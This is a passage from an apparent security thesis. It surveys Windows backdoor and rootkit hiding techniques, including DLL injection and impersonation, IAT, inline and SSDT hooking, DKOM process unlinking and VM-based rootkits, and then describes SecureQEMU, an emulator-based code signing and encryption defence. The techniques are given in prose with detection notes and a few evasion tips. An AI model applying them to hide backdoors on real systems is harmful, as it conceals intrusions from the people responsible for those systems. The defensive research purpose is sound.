defined Dll which exports the hook’s procedure, is mapped into the process address
space of the hooked thread. In addition to providing the hook procedure, the Dll may
provide a backdoor.
A second way uses the CreateRemoteThread and LoadLibrary Win32 API func-
tions. A call to CreateRemoteThread creates a thread in another processes address
space8 which calls LoadLibrary to load an attacker’s backdoor [35].
A third way calls WriteProcessMemory instead of LoadLibrary. The WritePro-
cessMemory function writes backdoor code directly into another processes address
space. CreateRemoteThread is called, however this time the code written is used as
the EP to the thread procedure. Creating a Windows Hook or a remote thread is
easily detectable and should only be used as a backdoor when an attacker has no
other choice.
2.2.6.3 Dll Impersonation. Another technique to introduce a backdoor
library into another process is through Dll Impersonation. Dll Impersonation takes
advantage of the Dynamic-link Library Search Order Windows uses when searching
for and loading a module. By default Windows searches the directory from which the
application is loaded, the system directory, the 16-bit system directory, the Windows
directory, the current directory and then directories listed in the PATH environ-
ment variable [32]. This search order occurs when SafeDllSearchMode is enabled. If
SafeDllSearchMode is disabled, the current directory is searched immediately after
the directory from which the application is loaded is searched9.
An attacker could rename his or her backdoor Dll to a known Dll’s name. If
the attacker places the backdoored Dll in a directory Windows will search before the
8CreateRemoteThread needs PROCESS CREATE THREAD,
PROCESS QUERY INFORMATION, PROCESS VM OPERATION, PROCESS VM WRITE, and
PROCESS VM READ rights to the processes address space.
9The search order may also be changed by calling the LoadLibraryEx function with
LOAD WITH ALTERED SEARCH PATH.
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directory where the original Dll resides is searched, the backdoor Dll will be loaded and
executed instead of the intended Dll. The attacker needs to be careful to implement
the backdoor so it does not break the original application.
2.2.6.4 Dll Redirection. Dll Redirection is a Windows OS feature
originally designed to allow an application to use a newer or older version of a Dll [31],
but may be used to execute a backdoor Dll. If an application needs to use a specific Dll,
a redirection file is created which causes the Windows loader to search the directory
where the redirection file resides before the regular Dll Search Order directories are
searched. The redirection file has the same name and extension as the application’s
executable appended with a second .local extension.
The attack proceeds as follows. If an attacker can create a local redirection
file and include a backdoor Dll the application uses in the same directory as the
redirection file, the backdoor library will be loaded instead of the original Dll the
application intended. To stop this type of attack Windows provides a KnownDlls
registry key10 to prevent known Dlls (such as system Dlls) from being redirected. To
counter this defense an attacker should search for application specific Dlls which may
be unnoticed if redirected.
2.2.7 Easter Egg Backdoors. Earlier, comparing a cryptographic hash of
a known Dll to a potentially trojaned Dll to detect the presence of a backdoor was
discussed. It is critical that the known Dll is also a trusted Dll. It is wrongly assumed
that application developers do not implement backdoors in their applications. A
backdoor or other hidden feature a programmer includes within their code is known
as an easter egg [16]. Easter eggs cannot be detected using differential analysis because
there is no trusted code. Thus, either the developers are trusted or the application
must be disassembled and analyzed line by line for the presence of a backdoor.11
10The KnownDll registry key is located at
HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDlls.
11Disassembling an application may be used to discover any malicious code, not just a backdoor.
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2.3 Introduction to Rootkits
One of the most important aspects of any backdoor is that it remain hidden.
Rootkits play a major role in hiding backdoors within the system. A rootkit is a
collection of tools used by intruders to keep the legitimate users and administrators of
a compromised machine unaware of the intruder’s presence [24]. Sometimes backdoors
are incorrectly referred to as rootkits because backdoors usually always use some type
of rootkit to hide its presence within a system. However, the difference is backdoors
provide the mechanism for bypassing authentication and controlling a system, while
rootkits provide a way to hide those mechanisms from the system. This section
provides an overview of the many techniques an attacker could use to hide a backdoor
within Windows.
2.3.1 Overview. There are two generic techniques rootkits use to hide, not
only backdoors but any type of code or data within a system. The first modifies
execution flow (code) and the second modifies data structures (data). That is, either
the data itself is modified or the mechanisms that act upon said data are.
Figure 2.2 is a simplified example of the Windows netstat program’s internals.
At a high level, netstat displays network information to the console. On Windows
this information is stored in Kernel Objects (KO) in kernel space. Kernel space is
the higher two gigabytes of a process’s address space and user space is the lower two
gigabytes. When the 3G boot switch is used, kernel space is the high gigabyte and
user space is the lower three gigabytes. Direct Kernel Object Manipulation (DKOM)
functions modify these KO’s such that they remain hidden from the user but remain
active within the system. DKOM is discussed in Section 2.3.4.6.
The dashed line in Figure 2.2 that begins in Netstat.exe is the call sequence to
retrieve network information stored in the kernel objects. The solid line is the call
sequence to return the information to a console. A rookit trying to hide specific net-
work information, such as an open port, could insert itself anywhere in the execution
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flow from when netstat is first loaded until the information requested is output to the
console.
Rootkits are either User Level Rootkits (ULR) or Kernel Level Rootkits (KLR).
The difference is ULR’s reside in user space (the lower 2 gigabytes of the address
space) and typically execute in Ring 3 while KLR’s reside in kernel space and typically
execute in Ring 0.12
There are four major code sections associated with every system call; the code
section(s) of the main executable, the Win32 API (kernel32.dll, user32.dll, gdi32.dll,
advapi32.dll, etc.), the Native API (ntdll.dll) and the Windows Executive (ntod-
krnl.exe). As shown in Figure 2.2, the main executable, Win32 API, and Native API
reside in user space while the Windows Executive and KO reside in kernel space.
Since a KLR could modify every bit in the system, it is important to understand the
entire data and execution flow. For more information on Reverse Code Engineering
(RCE) and the Windows Internals reference [21,20,9, 40].
2.3.2 Self-Hiding Backdoors. Self-Hiding backdoors are exploitable pro-
gramming errors which are unknown to the user or administrator of the sytem. Ex-
ploitable programming errors are also known as software vulnerabilities [17]. Some
common software vulnerabilties include buffer overflows, integer overflows, user-defined
format strings, and race conditions. Software vulnerabilties are called self-hiding if
they are unknown to the user or administrator of the system. For example, if an
attacker can consistently execute code using an undiscovered buffer overflow, the
software vulnerability itself is a backdoor on the system.
An attacker could reintroduce an exploitable software vulnerability only known
to the attacker. If carefully selected, the inversion of a single bit could be the en-
tire persistent presence of the backdoor within the system. Since, the backdoor has
no known signature, it is harder to detect. It is unlikely the software vulnerability
12User and kernel address space can also be partitioned into 3 and 1 gigabytes spaces, respectively.
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Figure 2.2: Windows Netstat - Internal Call Graph
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Figure 2.3: Normal IAT Call Flow
would be discovered (and therefore patched) because it doesn’t exist in the original
application.13
2.3.3 Patching Rootkits. Rootkits need to modify a request for data or
modify the data returned from said request. The name of a technique to accomplish
this task is patching. Patching introduces code into an already compiled program. In
this case, a rootkit to hide a backdoor. If an attacker compromises a system at the
user level, there are two choices to install a rootkit. The attacker may install a ULR
or try to find a rights escalation vulnerability (to escalate to ring 0) and install a KLR.
Since the attacker might be unable to escalate the rights, the techniques associated
with user level rootkits are important.
2.3.3.1 Import Hooks. The first technique hooks the Import Address
Table (IAT) [16]. Since modules can be located at any address within the address
space of a running process, a module which needs to call a function in another module
uses the IAT to lookup the address of the function. Figure 2.3 is an example of normal
IAT execution flow.
An attacker could easily replace any function within this table with the address
of an arbitrary function. Figure 2.6 shows a rootkit using import hooking to modify
execution flow. The rootkit may filter data being passed between the functions, such
as removing an open port or running process. Since the original function the user
13Assuming there is no buffer overflow detection or protection software on the system.
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Figure 2.4: Hooked IAT Call Flow
Figure 2.5: Normal Inline Call Flow
intended to call is still called after the rootkit executes, the caller of the function
won’t normally suspect any malicious activity.
However, import hooks are detectable [45]. An administrator or program that
manually queries the address of each function can compare the address returned with
the address in the IAT. Different addresses may indicate the presence of a rootkit.
2.3.3.2 Inline Hooks. A technique similar to import hooking is inline
hooking [16]. The idea is to, again, hook the function call and filter any data the rookit
is trying to hide. However, instead of modifying the IAT, the rootkit overwrites the
first few bytes of the function being called with an unconditional JMP or CALL
instruction which points to the rootkit. Figure 2.5 is an example of normal execution
flow and shows the first five bytes (MOV EDI,EDI; PUSH EBP; MOV EBP,ESP) of
the function being called. Figure 2.6 shows how a rootkit may overwrite the first five
bytes with a CALL instruction to the rookit. The rootkit code makes sure to execute
the overwritten instruction before returning to normal execution flow.
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Figure 2.6: Hooked Inline Call Flow
Figure 2.7: Code Integration
Inline hooks are detected by verifying that the prolog to each function is not
a JMP or CALL instruction. Furthermore, .text (code) sections are normally non-
writable. Thus, the rootkit would have to modify the page permissions before over-
writing the functions prolog which may be detected before the rootkits hook gets a
chance to install.
2.3.3.3 Code Integration. Code Integration (CI) is an advanced virus
infection technique which can hide a backdoor [43]. The idea behind CI is to merge
code (such as a rootkit) with an existing module’s code without recompiling or relink-
ing the module. CI may either be applied to a loaded module in memory or a stored
module on disk. Figure 2.7 shows how a CI rootkit inserts itself into a function which
increments a counter passed as an argument.
An attacker should only modify the module on disk when there isn’t a known
good module to compare the file with since it makes detecting the presence of a
rootkit using CI very difficult. Inline hooking and import hooking are detectable only
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because normal execution flow with respect to the IAT and function prologs is known.
However, if code is properly merged with existing code, then only behaviorial-based
detection (which is unreliable) can detect the rootkit [33].
2.3.4 Kernel Level Rootkits. Kernel level rootkits are the more predominant
method for hiding backdoors. Kernel-mode access is restricted, while user-mode access
is allowed. Properly implementing KLR’s allows an attacker to hide data from any
user mode application and in some cases even from other kernel level applications.
This section covers the techniques that hide backdoors using KLRs.
2.3.4.1 Kernel Drivers. The most common technique to introduce
code into the kernel is via a device driver [16] loaded into kernel space executing in
Ring 0. Ring 0 permits the device driver to modify any kernel object or code the
driver needs to hide a backdoor. Although loading a device driver is an easy way to
execute in Ring 0, the loaded module can still be detected [38,46,25].
2.3.4.2 I/O Request Packet Function Table Hooking. The Windows
Driver Model (WDM) uses a layered hierarchy of drivers which communicate with
each other via I/O Request Packets (IRP). When a driver is installed, it initializes a
table of functions’ pointers to handle different types of IRPs. As shown in Figure 2.8,
every device object has a pointer to its driver object.14 The driver object contains
the function table which points to the various IRP routines. A KLR could hook this
function table to modify a specific I/O request as shown in Figure 2.9. The actual
data hidden depends on the driver being hooked and the type of IRP requested.
Hooking a driver’s IRP function table can be detected by checking if each address
points to the kernel module of the driver. If the address of a driver’s IRP routine does
not point to the module of the driver, a KLR may be hooking the driver. However,
there are techniques to trampoline (jump, call, etc.) off the kernel’s module into KLR
14Drivers may create multiple devices.
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Figure 2.8: Normal I/O Request Packet Function Table
Figure 2.9: Hooked I/O Request Packet Function Table
defined code. In this case, an administrator would need to know the actual address
of each IRP routine and be able to verify that the routine itself hasn’t been modified.
2.3.4.3 Layered Drivers. Every driver object has a linked list of device
objects. To support loose coupling within driver development, device objects can be
chained together. Each device object contains a pointer, named AttachedDevice,
which points to the device its attached to. An IRP is passed along this chain of
devices until AttachedDevice pointer is null. Normally, the last device in the chain
communicates with the physical device and passes output back up the chain of devices.
As shown in Figure 2.10, a rootkit may add itself to the attached device chain and
modify the type of request or the return from the request [16].
2.3.4.4 Interrupt Descriptor Table Hooking. User applications fre-
quently call system level functions (exported from ntoskrnl.exe) to retreive system
information. Similar to the patching techniques in Section 2.3.3, rookits in the kernel
intercept specific system calls and either modify the request or filter the data returned
from the call [16]. Either technique may be used to hide a backdoor.
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Figure 2.10: Layered Drivers
Figure 2.11: Normal Import Descriptor Table
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Figure 2.12: Hooked Import Descriptor Table
There are two ways for user code to make system calls. The first is by calling
interrupt 0x2E as shown in Figure 2.11 and the second uses the SYSENTER instruction.
When INT 2E is called, the CPU executes the interrupt handler associated with 0x2E
in the Interrupt Descriptor Table (IDT). The IDT stores the function addresses of all
the interrupt handlers. A KLR can intercept a system call by overwriting the 0x2E
entries function pointer in the IDT as shown in Figure 2.12.
Since execution flow does not return to the interrupt handler, the rootkit has
to modify the system call request to hide its backdoor. Modifying the IDT is a
well known technique and is detected by checking the address of each handler in the
IDT table against known good addresses. Current Windows OS system calls use the
SYSENTER instruction which do not use the IDT. This may be overcome by hooking
the System Service Dispatch Table (SSDT). The next section shows how to hook the
SSDT to hook specific system calls made using both the INT 0x2E and SYSENTER
instructions.
2.3.4.5 System Service Dispatch Table Hooking. The technique of
hooking the SSDT table is similar to hooking an IAT [16]. The difference is hooking
the SSDT provides a system wide hook for all processes and is stored in kernel space.
Figure 2.13 shows how a rootkit may hook the SSDT.
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Figure 2.13: Hooked System Service Dispatch Table
By itself, hooking the SSDT is not a very stealthy method for hiding a backdoor.
Every entry in the SSDT table has a known range of addresses in which it must reside.
For example, if the NtDeviceIoControlFile entry in the SSDT does not point into the
address range for ntoskrnl.exe, the NtDeviceIoControlFile function is being hooked.
Furthermore, the actual address that NtDeviceIoControlFile points to could identify
the rootkit and therefore the compromise of the attackers backdoor.15
2.3.4.6 Direct Kernel Object Manipulation (DKOM). All of the patch-
ing techniques so far modify the flow of execution to hide data in the system. Other
techniques directly modify data such that the data remain hidden from the user but is
still active for the backdoor [16]. One method modifies the linked list of KPROCESS
data structures. The kernel object structure’s EPROCESS, KPROCESS, ETHREAD,
KTHREAD, KPCR, and KPRCB contain information about running threads and pro-
cesses on the system. The relationship between these structures is shown in Figure
2.14.
If a KLR wanted to hide a specific process from being returned by a system call,
the KLR could modify the forward and backward link pointers of the two adjacent
EPROCESS data structures in the linked list of processes. A graphical depiction
15To thwart this detection technique an attacker could trampoline off an address in ntoskrnl.exe
into the backdoor.
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Figure 2.14: Normal Kernel Object Linking
of how to modify the linked list of processes is shown in Figure 2.15. Note that
removing an EPROCESS descriptor from the linked list or processes doesn’t prevent
that processes threads from executing.
Although DKOM techniques are an effective way to hide a backdoor, the tech-
niques are still detectable [4]. An administrator may walk the chain of KTHREADs
and verify that each thread’s EPROCESS parent object is part of the linked list of
EPROCESSes. If an EPROCESS does not exist, it is being hidden by a KLR.
2.3.4.7 Virtual Memory Subversion. Another KLR technique, known
as Virtual Memory Subversion (VMS), hides a backdoor by modifying the virtual
address to physical address translation routine. To increase the speed of address
translation, the system uses a split Translation Lookaside Buffer (TLB). The TLB
consists of a data cache (DTLB) and a code cache (ITLB). These caches map virtual
addresses to physical addresses. A high level model of how the DTLB and ITLB are
used during address translation is shown in Figure 2.16.
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Figure 2.15: Direct Kernel Object Manipulation
Figure 2.16: Normal Cached Virtual Address Translation
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Figure 2.17: Modified Cached Virtual Address Translation
The attack proceeds as follows. A KLR marks all pages to be hidden as not
present in memory and flushes the pages from the TLB. The KLR hooks the page
fault handler and monitors the addresses being translated. When the KLR detects a
data request to a page containing backdoor code the KLR returns the address of a
uninfected frame. However, when the KLR detects a code request to a page containing
the backdoor, it returns the physical frame of the backdoor. Figure 2.17 shows how
a KLR would modify the address translation from Figure 2.16. A rootkit detection
program would search (read memory) for code and data modifications without success,
but the backdoor still executes because of the separate translation cache for code
requests.
Although VMS is a powerful KLR technique, there are ways to detect it. The
first is to scan for any non-present pages in non-pageable memory address ranges (such
as the kernel). The second method attempts to detect the signature of a hooked page
fault handler (if one exists) since the page fault handler must always be present in
memory. Lastly, the hooked page fault handler in the IDT is difficult to conceal and
may reveal the presence of a KLR if the address of the real page fault handler is
known.
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Figure 2.18: Software Virtual-Machine Based Rootkit
2.3.5 Virtual-Machine Based Rootkits. All of the aforementioned rootkits
modify the system to hide backdoors. System modification allows for runtime rootkit
detection. Virtual-Machine Based Rootkits (VMBR) provide one solution to this
problem. A backdoor may be implemented using a VMBR that executes without
modifying anything on the system, but is still able to monitor (and have the option
to make changes) to that system. There are two types of VMBR’s; software-based
rootkits and hardware-based rootkits. Each type is described below.
2.3.5.1 Software Virtual-Machine Based Rootkits. Software VMBR’s
hide backdoors by virtualizing the running OS and executing the backdoor (i.e., mon-
itoring software) within a seperate host OS or a virtual machine monitor. Figure 2.18
depicts how the software VMBR, SubVirt [22], uses virtualization to hide malicious
services. The idea behind Software VMBRs is backdoor code and data remain hidden
from the host OS by executing in a seperate OS context.
Since the backdoor is dependent on the Virtual Machine Monitor (VMM) to
remain hidden, the VMM must remain hidden as well. An administrator may be able
to detect virtualization by measuring time variances between interposed instruction
execution [13]. Furthermore, the modification to the boot process, which the VMBR
needs to execute, may be detected using techniques discussed in Section 2.3.
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2.3.5.2 Hardware Virtual-Machine Based Rootkits. Hardware VMBR’s
use a special instruction set to switch contexts between hypervisor16 and the guest
OS [36]. This allows a VMBR to virtualize an OS at runtime and not hook into
the boot process unless persistence is needed. Two examples of Hardware VMBR’s
are Blue Pill [41] and Vitriol [47] which use the AMD SVM and Intel VT processors
respectfully.
Hardware VMBR’s are detectable. Hypervisors must use cache, memory band-
width, TLB entries, in the course of multiplexing a CPU. Therefore, a guest OS can
be made intentionally sensitive to these resources in order to detect a hypervisor [1].
There are techniques to counter these detection techniques, but a 100% undetectable
VMBR is still theoretical.
2.3.6 Summary. This section explains how rootkits hide the presence of a
backdoor within a computer section. This completes an understanding of an attack-
ers initial compromise, long term presence, and stealth within a system. Exploits,
backdoors, and rootkits are all types of malicious code that SecureQEMU protects
against. The following chapter explains SecureQEMUs’ protection scheme.
16Hypervisor is another name for Virtual Machine Monitor
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III. SecureQEMU and SecureEncryptor
Throughout the last chapter, how attackers gain access to and maintain a presence
within computer system using software exploits, backdoors, and rootkits was explored.
Although these techniques provide separate attack capabilities, almost all techniques
execute malicious code. Malicious code may be used to thwart security mechanisms
and exfiltrate confidential information from a system.
This chapter presents an original emulation-based software protection scheme
providing protection from reverse code engineering (RCE) and software exploita-
tion using encrypted code execution and page-granularity code signing, respectively.
Protection mechanisms execute in trusted emulators while remaining out-of-band of
untrusted systems being emulated. This protection scheme is called SecureQEMU
(Secure Quick Emulator) and is based on a modified version of Quick Emulator
(QEMU) [5].
SecureQEMU’s two emulation-based security mechanisms, page-granular code
signing and encrypted code execution, protect computer systems from exploits, back-
doors, and rootkits. Together, these mechanisms provide confidentiality and seper-
ation of privilege at the emulation layer. SecureQEMUs’ protection is provided in
addition to the existing OS security. The following sections explain the design and
implementation of SecureQEMU’s page-granularity code signing and encrypted code
execution.
3.1 Overall Design
In Chapter II, Section 2.1 explained how attackers execute code by leveraging
memory corruption errors such as buffer overflows. Sections 2.2 and 2.3 discussed how
attackers can modify the flow of execution to execute backdoors and rootkits. The
common thread is an attacker compromises a computer system, by execution within
that system. This is the fundamental premise of SecureQEMU’s protection scheme.
Todays’ OSs are designed for general purpose computing. Windows, Linux and
BSD OS’s help fulfill a variety of capabilities by allowing users to execute arbitrary
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code. Although most OSs provide some security (separate user and kernel address
space along with object access control), exploits, backdoors and rootkits may execute
(at least) in user-space at the least privileged level. If a user can execute arbitrary
code so can an attacker. Furthermore, CPUs unremittingly execute code without
knowing anything about its semantics. To provide better security within traditional
OSs, control and limiting the functionality of the OS is essential.
SecureQEMU is a tool developed to control a general purpose OS, independent
of privilege level, through emulation. Emulation duplicates the functions of a system
using a separate system. It not only provides a controlled execution environment,
but allows security mechanisms to remain out-of-band of an untrusted system. With
respect to SecureQEMU, the untrusted OS is the OS being emulated and the trusted
OS is the system providing the emulation. Both security mechanisms below presume
such emulation.
3.1.1 Page-Granularity Code Signing. The first emulation-based protection
mechanism enhances separation of privilege with respect to code execution. This
protection separates code into two types. The first type is code the user of the system
intends to execute and the second type is code (i.e., malicious code) the user does not
intend to execute. If a system can identify and track code a user intended to execute
then the system can prevent an exploit, backdoor or attack payload from executing.
The system can also save the state of the emulated environment to later analyze a
possible attack on the system.
SecureQEMU uses cryptographic signing to identify and track code throughout
the sytem. During signing, a unique value is created from a message (which in this
case is code) and a key. The key is assumed to be secret and generated offline. If the
attacker doesn’t know the secret key, any attempt to modify or spoof user code will
be detected.
SecureQEMU ensures all code being translated is signed. If code is not signed
while code signing is enabled, it is not translated. Since all executed code must be
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translated, untranslated code prevents that code from executing. Section 3.2 provides
further details of this process.
The security mechanism that verifies each signature has to remain uncompro-
mised for the sytem to remain secure. Fortunately, emulation allows SecureQEMU to
verify the signatures of code executing within the emulated environment (untrusted
system) using mechanisms within the executing environment of the emulator (trusted
system).
3.1.1.1 Example Use Case. SecureQEMU’s page-granular code sign-
ing prevents almost every type of exploit payload from executing.1 For example,
software vulnerabilities allow an attacker to execute arbitrary code, even from remote
locations. Traditional exploitation prevention techniques explained in Section 2.1.1
focused on preventing specific memory corruption errors from occuring. Although this
will prevent an attacker’s payload from executing, it remains a blacklist approach to
software protection.
SecureQEMU uses a whitelist approach to software protection. It allows code
which is signed to execute while preventing all other code from executing. Secure-
QEMU’s protection model doesn’t focus on protecting against a specific memory cor-
ruption error. Exploitation is prevented at the time an attacker’s payload executes
regardless of how the payload execution was induced. Thus an attacker would have to
sign the payload prior to exploitation to execute the payload and without the secret
key an attacker is unable to do so.
3.1.2 Encrypted Code Execution. The second emulation-based protection
mechanism provides code specific confidentiality through encryption. First, if code
remains encrypted, it is difficult for an attacker to discover software vulnerabilities
within that code. Second, encrypted code cannot easily be infected with backdoors
and rootkits. Backdoors and rootkits which hook into the existing code wouldn’t know
1Every payload from the Metasploit Framework is prevented from executing.
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what to modify. Any modifications to the code would result in incorrect decryption
of the code and termination of the application.
The problem with protecting code-specific intellectual property using encryption
is usability. The protected code must be decrypted prior to execution. Decrypted,
an attacker can execute the binary and the original disassembly of the code is recov-
ered. Other techniques such as anti-debugging, anti-disassembly, and obfuscation are
typically used to protect the code. Although these techniques make it difficult for an
attacker to recover the original code (and therefore any code related IP) the strength
of the protection is a function of the skill of the attacker.
SecureQEMU uses an emulation technique known as dynamic binary translation
to keep code encrypted during execution. At runtime, guest OS instructions are
decrypted and executed out-of-band with support from the Host OS. This process
occurs during binary translation. The technique leverages the fact code generated
during normal dynamic binary translation remains hidden to the Guest OS.
3.1.2.1 Example Use Case. SecureQEMUs’ protection can be applied
to any Portable Executable (PE) file. Windows notepad is used to demonstrate
the features of SecureQEMU. Figure 3.1 shows the unprotected (unencrypted) entry
point for notepad.exe. Notepad is not protected from reverse code engineering and
any code-specific intellectual property (IP) can be revealed using a disassembler.
Figure 3.2 shows notepad.exe’s encrypted entry-point. Although the code ap-
pears obfuscated, the code is in fact encrypted, and any disassembly is meaningless.
Thus, notepad is protected up to the strength of the encryption algorithm and an
attacker is unable to recover code-specific IP without first breaking the encryption.
SecureQEMU’s cryptographic strength is more interesting at runtime. Figure
3.3 shows the runtime disassembly of notepad.exe’s entry-point protected by Secure-
QEMU. The code shown is encrypted while that code is executing. At no time during
the lifetime of the process will the code appear decrypted to the guest OS. The code
also remains encrypted independent of the guest OS’s privilege level. This means the
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Figure 3.1: Static Disassembly of Unprotected Notepad.exe
code remains encrypted from within both user mode and kernel mode debuggers. If
an attacker remains isolated within the Guest OS, this code can be executed without
being obfuscated. Section 3.2 contains details of this protection’s implementation.
3.1.3 Debugging Support. Debuggers provides the capability to examine a
system’s state during execution. Attackers often utilize hardware-level debugging to
single step the execution of protected code. Although time consuming, an attacker
could observe the state of the registers and memory before and after each instruction
executes to deduce the current executing instruction.
To prevent this attack, all debugging support within the Guest OS is removed
by SecureQEMU. When an instruction (or block of instructions) is translated, any
instruction which sets interrupt 1 (single stepping), sets interrupt 3 (breakpoints),
sets the trap flag, or writes to the debug registers is skipped. This does not affect
the normal execution of the OS, but does prevent any attempt to single step or set
breakpoints from within the Guest OS.
Since protected binaries can only execute within their protected system, even if
an attacker is able to compromise the system and copy a protected binary to another
system which supports debugging, that system won’t be able to decrypt and execute
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Figure 3.2: Static Disassembly of Protected Notepad.exe
the binary. SecureQEMU was designed precisely for this scenario. If a protected
binary is executed on a system which doesn’t have SecureQEMU, or on a SecureQEMU
system without the passphrase used to encrypt that binary, arbitrary code (i.e. the
encrypted bytes) will be executed. This will result in the program raising an exception
and eventually terminating, however, no code-specific IP is leaked.
3.1.4 Trusted Emulation. SecureQEMU assumes an attacker can not read,
write or execute memory not allocated to the Guest OS. It also assumes that Guest OS
memory is not shared with the SecureQEMU or the host OS’s memory. Essentially,
an attacker must not have access to anything other than the Guest OS otherwise
the system can be compromised. Although this protection may be used within any
emulation-based environment which uses dynamic binary translation, trusted separa-
tion of the guest and host OSs is implementation specific.
It is further assumed that the protected binaries cannot be decrypted in a rea-
sonable amount of time. A strong encryption algorithm should be used to encrypt
each binary. SecureQEMU uses AES routines provided by OpenSSL with user defined
key sizes. More information is provided in Section 3.2.
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Figure 3.3: Runtime Disassembly of Protected Notepad.exe
3.2 Implementation
The protection scheme consists of an encryptor and an emulator (dynamic trans-
lator) named SecureEncryptor and SecureQEMU respectively. SecureEncryptor en-
crypts and signs code within a binary while SecureQEMU decrypts, verifies signatures,
and executes code within those binaries. SecureEncryptor should only be used on a
trusted system. For this research, SecureEncryptor was written to protect Windows’
Portable Executable (PE) files and the QEMU was modified into SecureQEMU to
provide the runtime decryption, signature verification, and execution.
3.2.1 SecureEncryptor. SecureEncryptor takes as input a PE file, a passphrase,
the key length (in bits), and virtual address/size pairs. The virtual address/size pairs
are specified by the user and designate the code regions within the binary to be
encrypted or signed. The passphrase is used to derive an AES key using PKCS#5
PBKDF2 [7] and a key length of 128, 192 or 256 bits can be specified by the user. The
virtual address and size of each code block to be encrypted must be a multiple of 16
bytes and cannot span pages.2 If the user wants to encrypt code which spans multiple
2AES CBC mode requires 16 byte blocks. Padding the final block results in address space
modifications.
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pages then seperate virtual address/size pairs must be specified for each page. Each
PE section (including the code section) is page aligned.
After the code is encrypted or signed the passphrase and key are destroyed.
Other encryption-based software protections either store the key within the binary or
introduce the key at runtime through the use of another device. With SecureQEMU,
after the protection is applied, only the emulator need know the key. The key won’t
be stored within the protected binary and will not be readable by any instructions ex-
ecuting within the Guest OS. This makes SecureQEMU’s protection difficult to attack
because an attacker has to break-out of the emulated environment (SecureQEMU) to
acquire the decryption key.
Before the encrypted binary is produced by SecureEncryptor, a new section is
added to the file. This new section, .SigStub, contains the code which signals Secure-
QEMU that the current process contains encrypted or signed code. SigStub becomes
the new entry point to the binary. SigStub ensures each page with encrypted or signed
code is present in memory and provides the mechanism which passes the initialization
vector (IV), salt, HMACs, and virtual address/size pairs to SecureQEMU. Figure 3.4
shows an example SigStub.
To ensure each encrypted and signed page is present in memory, the code stub
reads one byte of each encrypted and signed code region. Next, SigStub sets EAX to
0xDEADBEEF and EDX to point to the IV/Salt (the HMACs and virtual address/-
size pairs immediately follow the IV/salt). EBX is set depending on whether a module
is to be used for encryption, signing, or both. If the module is used only for encryption
then EBX is set to 0xDEADBEEF. If the module is used for signing then EBX is set
to 0xCEEDCEED, 0xBEEDBEED, 0xCEEDBEED or 0xDEADBEEF. The different
values are used to open and close an initialization window used during code signing.
After EAX, EBX and EDX are set SigStub executes a trap (software interrupt) which
signals SecureQEMU to decrypt code and verify HMACs. This process is explained
in detail in Section 3.2.2.1.
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Figure 3.4: Notepad’s .SigStub
3.2.2 SecureQEMU. The QEMU machine emulator incorporates a portable
dynamic translator [5]. Although QEMU emulates many target architectures (x86,
PowerPC, ARM and Sparc) on many host architectures (x86, PowerPC, ARM, Sparc,
Alpha and MIPS), SecureQEMU was designed specifically for Windows (x86) on
Linux (x86 or x86 64), operating in full system emulation mode. At its core QEMU
unremittingly fetches, translates and executes blocks of instructions from the Guest
OS. This process is unique to QEMU and vital to understanding SecureQEMU’s
implementation.
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Figure 3.5: QEMU Internals
Figure 3.5 is a simplified diagram of QEMU’s internals. QEMU translates code
at the basic block level. Each basic block typically ends in a transfer of control
flow (jmp, retn, jcc, etc.). These instructions are translated into intermediate code
consisting of several micro operations. The micro operations are specific to QEMU
and the host architecture QEMU is runnning on. One or more micro operations may
be used to execute a single instruction. These micro operations are pre-compiled
by QEMU on the Host OS. The pre-compiled code of each micro operation for the
basic block being translated are concatenated together to create the translation block.
After this process completes, the translation block is cached and ready to execute on
the Host OS.
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This process repeats for every basic block to be executed which is not already
in the translation cache. To optimize this process QEMU may use fixed register
allocations, delayed condition code evaluation, and direct block chaining. These op-
timizations do not affect SecureQEMU’s protection mechanism and are not discussed
further. See [5] for more information.
SecureQEMU modifies QEMUs’ translation and execution process to include
runtime decryption of Guest OS encrypted code. Figure 3.6 is a simplified diagram
of SecureQEMU’s internals.
Figure 3.6: SecureQEMU Internals
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SecureQEMU uses a cache inaccesible to the Guest OS. The cache consists of a
shadow page table and a signed page table. Each table is used differently depending
on what mode SecureQEMU is in. If encrypted code execution is enabled (-key
option) then the shadow page table is used. If page-granular code signing is enabled
(-pagesign option) both tables are used. The cache is referenced when a process is
initialized and when basic blocks from the guest OS are being translated. Below we
see the implementation both during initialization and translation.
3.2.2.1 Initialization. Section 3.2.1 explained how a module protected
using SecureEncryptor adds a .SigStub section which signals and passes information
about its address space to SecureQEMU. Behind the scene SecureQEMU is decrypt-
ing and verifying the HMACs passed by .SigStub. Figure 3.9 is the control flow
SecureQEMU uses when SigStub executes.
SecureQEMU’s journey begins when an interrupt occurs. Before each inter-
rupt SecureQEMU checks if the EAX register equals 0xDEADBEEF. SecureQEMU
responds depending on if encrypted code execution or code signing is enabled. If en-
crypted code execution is enabled without code signing then SecureQEMU allocates
the process a shadow page table. Figure 3.7 is a diagram of SecureQEMUs shadow
page table cache. This cache consists of a CR33 lookup table whose entries point to
dynamically allocated shadow page tables for each process which contain encrypted
code. For every encrypted code region specified, SecureQEMU allocates a page in its
shadow page table.
SecureQEMU decrypts and caches each page specified only if the size specified
is a multiple of 16, the page is present in memory, and the size does not span more
than one page. Each encrypted code region is decrypted out-of-band of the Guest OS
on the Host OS. The CR3 table, shadow page tables and decrypted pages are only
accessable to the Host OS instructions.
3Control Register 3
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Figure 3.7: SecureQEMUs’ Shadow Page Table Cache
When code signing is enabled, SecureQEMU allocates both a shadow page table
and a signed page table to the process. Figure 3.7 is a diagram of SecureQEMUs signed
page table cache. The signed page table stores the code of every valid HMAC while
the process’s initialization window is open.
The first module initialized in the address space opens the signing initializa-
tion window by setting EBX to 0xCEEDCEED or 0xCEEDBEED. The last module
initialized in the address space closes the initialization windows by setting EBX to
0xBEEDBEED or 0xCEEDBEED. When EBX equals 0xCEEDBEED, only one mod-
ule provides the HMACs for all modules in the address space.
Figure 3.8: SecureQEMUs’ Signed Page Table Cache
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For each HMAC, SecureQEMU re-computes the HMAC for the virtual address
and size specified. If the HMAC is valid, that region of code is copied into the active
signed page table. This process repeats for every HMAC passed by every protected
module. When the signing initialization window closes, the active shadow page table is
replaced with the active signed page table. Since both tables have the same structure
this process is fast. Only one pointer in the CR3 TABLE is updated.
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Figure 3.9: Initialization Control Flow Diagram
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3.2.2.2 Translation. Translation is the same for encrypted code ex-
ecution and code signing. During translation, SecureQEMU uses a software-based
Translation Lookaside Buffer (TLB) to convert each virtual address (referenced by
